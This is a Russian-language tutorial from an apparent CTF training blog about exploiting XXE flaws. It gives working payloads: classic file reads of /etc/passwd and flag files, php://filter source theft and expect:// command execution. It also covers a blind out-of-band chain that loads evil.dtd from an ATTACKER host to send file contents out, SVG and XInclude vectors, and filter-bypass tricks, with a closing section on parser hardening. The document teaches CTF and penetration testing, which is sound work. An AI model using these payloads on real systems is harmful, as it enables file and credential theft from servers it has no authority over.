Главная / Блог / XXE уязвимость: как эксплуатировать в CTF

13 мин.00

XXE уязвимость: как эксплуатировать в CTF

XXE уязвимость: как эксплуатировать в CTF

На CTF-квалификации задача web/xml-notes выглядела безобидно: форма заметок, поле ввода, кнопка отправки. Сорок минут я тыкал GET-параметры в поисках SQLi — пока не открыл Burp Proxy и не увидел в перехваченном POST-запросе Content-Type: application/xml с чистым XML в теле. Три строки DOCTYPE — /etc/passwd в ответе, флаг в /flag.txt. Разница между нулём очков и решённым таском — понимание того, как парсер жуёт внешние сущности. Дальше разберу техники эксплуатации XXE уязвимости, которые реально встречаются в CTF: от классики до blind exfiltration через OOB-каналы и error-based трюков, о которых русскоязычные гайды молчат.

Как работает XXE-инъекция и зачем она атакующему

XML External Entity — уязвимость, при которой XML-парсер обрабатывает ссылки на внешние ресурсы, определённые в DOCTYPE-секции документа. По классификации OWASP — A05:2021 (Security Misconfiguration). В каталоге CWE описывается двумя записями: CWE-611 (Improper Restriction of XML External Entity Reference) — парсер позволяет XML-сущностям ссылаться на ресурсы вне контролируемой зоны, и CWE-827 (Improper Control of Document Type Definition) — приложение не ограничивает загрузку DTD. Последствия CWE-611 бьют по трём направлениям: утечка данных (Confidentiality: Read Application Data), обход защитных механизмов (Integrity: Bypass Protection Mechanism), исчерпание ресурсов (Availability: DoS: Resource Consumption). Подробнее — в нашем обзоре создание ctf заданий.

В терминах MITRE ATT&CK эксплуатация XXE вписывается в цепочку из нескольких тактик:

  • Initial Access — Exploit Public-Facing Application (T1190): вредоносный XML отправляется через API-эндпоинт, форму загрузки или SOAP-сервис.
  • Collection — Data from Local System (T1005): через XXE читаются локальные файлы — конфигурации, исходный код, системные данные.
  • Credential Access — Credentials In Files (T1552.001): главная добыча — файлы с паролями: .env, config.php, application.properties, web.config. Сюда же Private Keys (T1552.004): SSH-ключи, TLS-сертификаты.

В CTF бизнес-логика проще: прочитал файл — достал флаг. На реальном пентесте XXE — точка входа для эскалации. Прочитал конфиг — вытянул пароль от БД — получил доступ к данным клиентов. Или через XXE провёл SSRF-атаку (OWASP A10:2021) к облачным метаданным AWS/GCP/Azure или внутренним сервисам.

Где прячутся XML-парсеры. Очевидные места: SOAP-эндпоинты, API с Content-Type: application/xml, формы импорта данных. Неочевидные (по данным YesWeHack): загрузка DOCX/XLSX (ZIP-архивы с XML внутри), обработка SVG-изображений, JSON API, которые молча принимают XML при смене Content-Type. Каждый язык тащит свой зоопарк парсеров — Java использует DOM и SAX, Python работает через lxml и xml.etree, PHP опирается на libxml. Проблема в том, что многие из них поддерживают опасные функции (внешние сущности, загрузку DTD) по умолчанию или после минимальной настройки.

Classic XXE: чтение файлов сервера через XML-инъекцию

Классический сценарий эксплуатации XXE уязвимости: приложение принимает XML, подставляет данные из него в ответ, парсер не ограничивает обработку внешних сущностей. Нужны два изменения в XML — добавить DOCTYPE с определением внешней сущности и вставить ссылку на неё в тег, значение которого отражается в ответе.

Пошаговый workflow в Burp Suite:

  1. Перехватите запрос через Proxy. Если метод GET — переключите на POST через контекстное меню Repeater (Change Request Method).
  2. Проверьте Content-Type — должен быть application/xml или text/xml. Если отсутствует, подставьте вручную (подробнее в разделе про Content-Type).
  3. Найдите отражаемый тег. Отправьте тестовый XML вида <root><test>MARKER123</test></root> и ищите MARKER123 в response body. Как отмечает PortSwigger, нужно проверять каждый узел данных по отдельности — не каждый тег отражается в ответе.
  4. Добавьте DOCTYPE с внешней сущностью и подставьте её в найденный тег.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note><content>&xxe;</content></note>

Если парсер уязвим, ответ будет содержать файл /etc/passwd. В CTF флаг лежит в типичных местах: /flag, /flag.txt, /home/ctf/flag.txt. Иногда — в переменных окружения, тогда читайте /proc/self/environ.

Предусловия и версии. Техника работает, когда парсер обрабатывает внешние сущности. В libxml2 до версии 2.9.0 они включены по умолчанию. PHP 8.0+ отключает обработку внешних сущностей в libxml по дефолту (но флаг LIBXML_NOENT возвращает уязвимость — привет, legacy-код). В Java DocumentBuilderFactory и SAXParserFactory поведение зависит от версии JDK и конфигурации — legacy-приложения часто уязвимы. Python xml.etree.ElementTree (через expat) по умолчанию не резолвит внешние сущности — DOCTYPE парсится, но SYSTEM/PUBLIC ссылки игнорируются. Классический XXE через него невозможен, но от entity expansion DoS это не спасает. А вот lxml с параметром resolve_entities=True — уязвим.

Нюанс с путями. Враппер file:// требует абсолютного пути: file:///etc/passwd — три слеша (два от схемы, один от корня файловой системы). На Windows: file:///c:/windows/win.ini. Без враппера парсер ищет файл относительно текущей директории приложения — <!ENTITY xxe SYSTEM "flag.txt"> может сработать, если флаг валяется в корне приложения.

PHP-обёртки для извлечения исходного кода

Когда целевой файл содержит символы, ломающие XML-разметку (угловые скобки <>, амперсанды &), прямое чтение через file:// не сработает — парсер выдаст ошибку well-formedness. Типичная ситуация: PHP-файлы с тегами <?php.

Решение — обёртка php://filter с base64-кодированием. Сущность определяется как <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">. В ответе приходит base64-строка, которая декодируется через echo "PD9waH..." | base64 -d в терминале или через Decoder в Burp Suite. Техника работает на PHP-приложениях с включённым модулем фильтров (он есть в подавляющем большинстве стандартных установок PHP, но может отсутствовать в урезанных/кастомных сборках). В CTF на PHP это обязательный приём: без php://filter не прочитаешь ни один .php-файл.

Второй враппер — expect:// — позволяет выполнять системные команды: <!ENTITY xxe SYSTEM "expect://id">. По данным OWASP, это возможный вектор Remote Code Execution. Но модуль expect редко установлен — как на продакшене, так и в CTF-стендах. Если на стенде он есть — задача решается одной строкой: expect://cat /flag.txt вернёт флаг напрямую. Считай, повезло.

Blind XXE эксплуатация: OOB и error-based техники

Не каждая XXE уязвимость возвращает данные в ответе. Приложение может обрабатывать XML корректно, но отдавать фиксированный «OK» или «Accepted» без вставки данных из сущностей. По данным PortSwigger, множество реальных XXE уязвимостей — слепые (blind), и для их эксплуатации нужны продвинутые техники.

Out-of-band XXE через внешний DTD

Идея OOB-канала: заставить парсер отправить содержимое файла на контролируемый сервер через HTTP или DNS-запрос. Механизм — параметрические сущности (определяются через %, работают только внутри DTD, а не в теле документа).

Схема атаки: на своём сервере (или через Burp Collaborator) размещаете файл evil.dtd. В XML-пейлоаде ссылаетесь на этот DTD через параметрическую сущность. Парсер загружает DTD, выполняет определённые в нём сущности — они читают целевой файл и отправляют его содержимое в URL на ваш сервер.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
  %remote;
]>
<note><content>test</content></note>

Файл evil.dtd на сервере атакующего содержит цепочку: первая сущность читает целевой файл (<!ENTITY % file SYSTEM "file:///etc/passwd">), вторая формирует URL с содержимым файла и направляет HTTP-запрос обратно. Содержимое файла оказывается в query string в access-логе HTTP-сервера.

Для CTF минимальный перехватчик — python3 -m http.server 8888. Burp Collaborator (Pro-версия) удобнее: автоматически генерирует уникальный домен и перехватывает DNS/HTTP-запросы. Бесплатная альтернатива — interactsh.

Ограничение. Если содержимое файла содержит переносы строк или спецсимволы, URL может обрезаться. В таких случаях используйте FTP-канал вместо HTTP или комбинируйте с php://filter/convert.base64-encode для кодирования данных перед отправкой.

Error-based XXE с локальным DTD

Когда нет исходящего сетевого доступа (firewall блокирует исходящие HTTP/DNS), OOB-канал не сработает. Остаётся error-based техника — спровоцировать ошибку парсера, в тексте которой окажется содержимое файла.

Суть: используется переопределение сущностей из локального DTD-файла, который уже существует на сервере. На Linux-системах могут присутствовать локальные DTD — например, /usr/share/yelp/dtd/docbookx.dtd (desktop-дистрибутивы с GNOME) или /usr/share/xml/fontconfig/fonts.dtd (Debian/Ubuntu). В минимальных Docker-образах, типичных для CTF, эти файлы часто отсутствуют — перед атакой проверяйте наличие DTD через чтение директорий (file:///usr/share/xml/) или перебор известных путей. Атакующий определяет параметрическую сущность с именем, совпадающим с сущностью в локальном DTD, подставляя в неё чтение файла и обращение к несуществующему ресурсу. Парсер пытается раскрыть сущность, не находит ресурс и выбрасывает ошибку. В тексте ошибки — содержимое прочитанного файла.

По данным PortSwigger, техника работает на парсерах с verbose error messages. В CTF error-based XXE — типичный вариант для задач уровня medium-hard, где таскмейкер намеренно закрывает исходящий трафик и оставляет подробные ошибки парсера как единственный канал утечки.

XXE атака через загрузку файлов и подмену Content-Type

SVG и DOCX как вектор XML-инъекции в CTF

XML прячется не только в API-запросах. Форматы DOCX, XLSX, PPTX — ZIP-архивы с XML-файлами внутри. SVG — полноценный XML. Если приложение принимает загрузку файлов и обрабатывает их серверной библиотекой, появляется вектор для XXE через загрузку файлов.

В CTF чаще всего встречается SVG-вектор: загрузка аватарки, обработка изображения, генерация миниатюры. Все эти функции могут дёргать XML-парсер.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="40">&xxe;</text>
</svg>

Если приложение рендерит SVG или возвращает его содержимое, данные из файла окажутся в элементе <text> отрисованного изображения. По данным PortSwigger, даже если приложение ожидает PNG или JPEG, библиотека обработки изображений может поддерживать SVG — и тогда атака проходит.

Для DOCX-вектора нужно распаковать .docx как ZIP-архив, модифицировать файл [Content_Types].xml или word/document.xml, добавив DOCTYPE с внешней сущностью, и запаковать обратно. По данным YesWeHack, существуют инструменты автоматизации создания вредоносных XLSX-файлов для этого вектора. В CTF DOCX-вектор встречается реже SVG, но задачи с загрузкой документов периодически попадаются.

XInclude — когда DOCTYPE недоступен

Иногда контролировать весь XML-документ невозможно: приложение берёт пользовательские данные и вставляет их в серверный XML (например, в SOAP-запрос). DOCTYPE добавить нельзя — он уже определён на стороне сервера.

XInclude решает эту проблему. Это механизм спецификации XML для включения содержимого внешних документов. Пейлоад вставляется как обычный XML-элемент: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Парсер, поддерживающий XInclude, подставит содержимое файла без необходимости в DOCTYPE.

Согласно OWASP XML External Entity Prevention Cheat Sheet, XInclude особенно опасен, когда приложение вставляет пользовательские данные в серверный XML-документ. Многие blacklist-фильтры его не распознают — они ищут паттерны DTD (<!ENTITY, SYSTEM, DOCTYPE), а XInclude работает через собственное пространство имён. Фильтр смотрит в одну сторону — атака заходит с другой.

Content-Type manipulation — ещё один неочевидный вектор. Если API принимает application/json, попробуйте сменить заголовок на application/xml и отправить XML-пейлоад вместо JSON. По данным YesWeHack, фреймворки вроде Spring Boot и Express могут автоматически переключаться на XML-парсер при изменении Content-Type, даже если разработчики не предполагали поддержку XML. В Burp Repeater это делается за секунду — меняете заголовок, переписываете тело запроса на XML и отправляете.

DTD XML уязвимости: сводная таблица XXE payload примеров для CTF

Техника Нужен DOCTYPE Данные в ответе Внешний сервер Типичный CTF-сценарий
Classic XXE Да Да Нет XML API, отражающий данные
PHP wrappers Да Да Нет PHP-приложение, чтение .php файлов
Blind OOB XXE Да Нет Да Нет отражения, есть сетевой доступ
Error-based XXE Да Нет (ошибки видны) Нет Нет сети, verbose ошибки парсера
XInclude Нет Да Нет Контролируешь одно поле, не весь XML
SVG/DOCX upload Нет (свой файл) Зависит Нет Загрузка файлов с серверной обработкой
Content-Type switch Да Да Нет JSON API, тайно поддерживающий XML

Алгоритм выбора техники зависит от трёх факторов: контролируете ли вы DOCTYPE, видите ли данные в ответе, есть ли у сервера исходящий сетевой доступ. В CTF начинайте с classic XXE — большинство задач уровня easy-medium решаются именно так. Если данных в ответе нет — переходите к OOB. Если исходящий трафик закрыт — пробуйте error-based. Если не контролируете DOCTYPE — XInclude. Если единственный вход — загрузка файла — SVG.

Типичные ошибки при эксплуатации XXE в CTF

Забытый DOCTYPE. Самая частая ошибка: вставляют &xxe; в тело XML, но не определяют сущность в секции DOCTYPE. Без <!DOCTYPE foo [<!ENTITY xxe SYSTEM "...">]> парсер не знает, что такое &xxe;, и выдаёт «undefined entity». На CTF это стоит десяти минут дебага — а с тикающим таймером десять минут дорого.

Путаница между типами сущностей. Обычные сущности (<!ENTITY xxe ...>) используются в теле документа как &xxe;. Параметрические (<!ENTITY % xxe ...>) — только внутри DTD как %xxe;. Перепутали тип или контекст — парсер проигнорирует сущность или выдаст ошибку синтаксиса. Я на одном CTF минут пятнадцать не мог понять, почему OOB не уходит — оказалось, параметрическую сущность подставил в тело документа вместо DTD.

Неправильный путь к файлу. file://etc/passwd не сработает — нужно file:///etc/passwd (три слеша). На Windows: file:///c:/windows/win.ini. Казалось бы, мелочь, но на CTF с тикающим таймером одна пропущенная косая черта — минус очки.

Подстановка в непечатаемый тег. &xxe; нужно подставлять в тег, значение которого отражается в ответе. Выбрали тег, который не выводится — парсер прочитает файл, но данные останутся на сервере. Перед эксплуатацией тестируйте каждый тег маркерным значением.

Бинарные файлы и null-байты. Если целевой файл содержит null-байты (бинарные файлы, SQLite-базы), парсер выбросит ошибку — XML не терпит null-символов. Для текстовых файлов с проблемными символами используйте php://filter с base64. Для бинарных данных XXE не подходит — нужен другой вектор.

Не проверили альтернативные Content-Type. Приложение может требовать нестандартный тип: text/xml, application/soap+xml, application/xhtml+xml. Перебирайте все варианты в Repeater, пока парсер не примет документ.

Защита от XXE инъекций: обработка XML уязвимости безопасность

Понимание защиты помогает в CTF: если знаете, что именно отключено — знаете, какой bypass пробовать.

Основной принцип — отключение обработки внешних сущностей и DTD на уровне парсера. Для Java DocumentBuilderFactory надёжнее всего запретить DOCTYPE целиком: dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). По данным Invicti, дополнительно стоит выставить setFeature("http://xml.org/sax/features/external-general-entities", false) и setFeature("http://xml.org/sax/features/external-parameter-entities", false), плюс setXIncludeAware(false).

Для Python рекомендуется библиотека defusedxml вместо стандартных модулей. Если используется lxml, парсер создаётся с параметрами resolve_entities=False, no_network=True — по данным Invicti, именно эта конфигурация закрывает XXE.

Для PHP: начиная с PHP 8.0 внешние сущности отключены по умолчанию. Критически важно НЕ передавать флаг LIBXML_NOENT при загрузке XML — он форсирует раскрытие сущностей и возвращает уязвимость. На legacy PHP (<8.0) используется вызов libxml_disable_entity_loader(true).

В CTF-задачах чаще встречаются blacklist-фильтры (блокировка строк SYSTEM, ENTITY, DOCTYPE на уровне WAF или регулярок). Обход blacklist-фильтров возможен через: кодировку UTF-16 (фильтр проверяет UTF-8, парсер принимает UTF-16), параметрические сущности (фильтр ищет &xxe;, а параметрическая сущность %xxe; раскрывается внутри DTD, минуя фильтр), XInclude (не требует DOCTYPE вообще). Whitelist-подход через XSD-валидацию надёжнее blacklist, но в CTF вы встретите его гораздо реже.

Большинство CTF-игроков заучивают один пейлоад — classic XXE с file:///etc/passwd — и пытаются применять его ко всему подряд. Когда задача не поддаётся, начинается хаотичный перебор вместо системного анализа: «есть ли у меня контроль над DOCTYPE?», «отражаются ли данные в ответе?», «есть ли у сервера исходящий доступ?». Три вопроса — и дерево решений из таблицы выше даёт конкретную технику. Но даже выбрав технику, люди спотыкаются на парсерных тонкостях: libxml2 ведёт себя иначе, чем Java SAX, Python lxml иначе, чем xml.etree. Без понимания, какой парсер работает на бэкенде, эксплуатация XXE уязвимости превращается в лотерею.

Формула на бумаге понятна, но реальное понимание приходит, когда сам разворачиваешь стенд с тремя разными парсерами и проверяешь, какой пейлоад работает на каждом. Мой совет: потратьте выходные на Docker-контейнеры с PHP 7.4/8.2, Java 11/17 и Python lxml — и отправьте один и тот же XXE-пейлоад в каждый. Результат будет разным, и это научит больше, чем десять прочитанных writeup'ов. XXE — не одна уязвимость, а семейство техник с разными предусловиями, и побеждает тот, кто переключается между ними по ситуации, а не кто помнит самый длинный пейлоад. На WAPT эту цепочку проходят от обнаружения до постэксплуатации, с лабами на каждый вектор — от classic до blind OOB.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Race condition эксплуатация: гайд для CTF

12 мин.

4

Race condition эксплуатация: гайд для CTF

Три типа race condition в CTF, ready-to-use скрипт Turbo Intruder для single-packet attack и разбор CVE-2022-4037 в GitLab. Пошаговый workflow эксплуатации.

9 ОКТЯБРЬ, 2026

Реверс-инжиниринг в Ghidra: разбираем crackme

10 мин.

5

Реверс-инжиниринг в Ghidra: разбираем crackme

Пошаговый разбор crackme в Ghidra: strcmp, XOR-шифрование, хеш-функции. Как находить проверку пароля через XRefs, когда декомпилятор врёт и как патчить переходы.

8 ОКТЯБРЬ, 2026

Write-up CTF методология: гайд с шаблоном

12 мин.

10

Write-up CTF методология: гайд с шаблоном

Готовый Markdown-шаблон для CTF write-up, разбор хороших и плохих примеров, чеклист перед публикацией. Как тратить 10 минут на документацию вместо двух часов.

8 ОКТЯБРЬ, 2026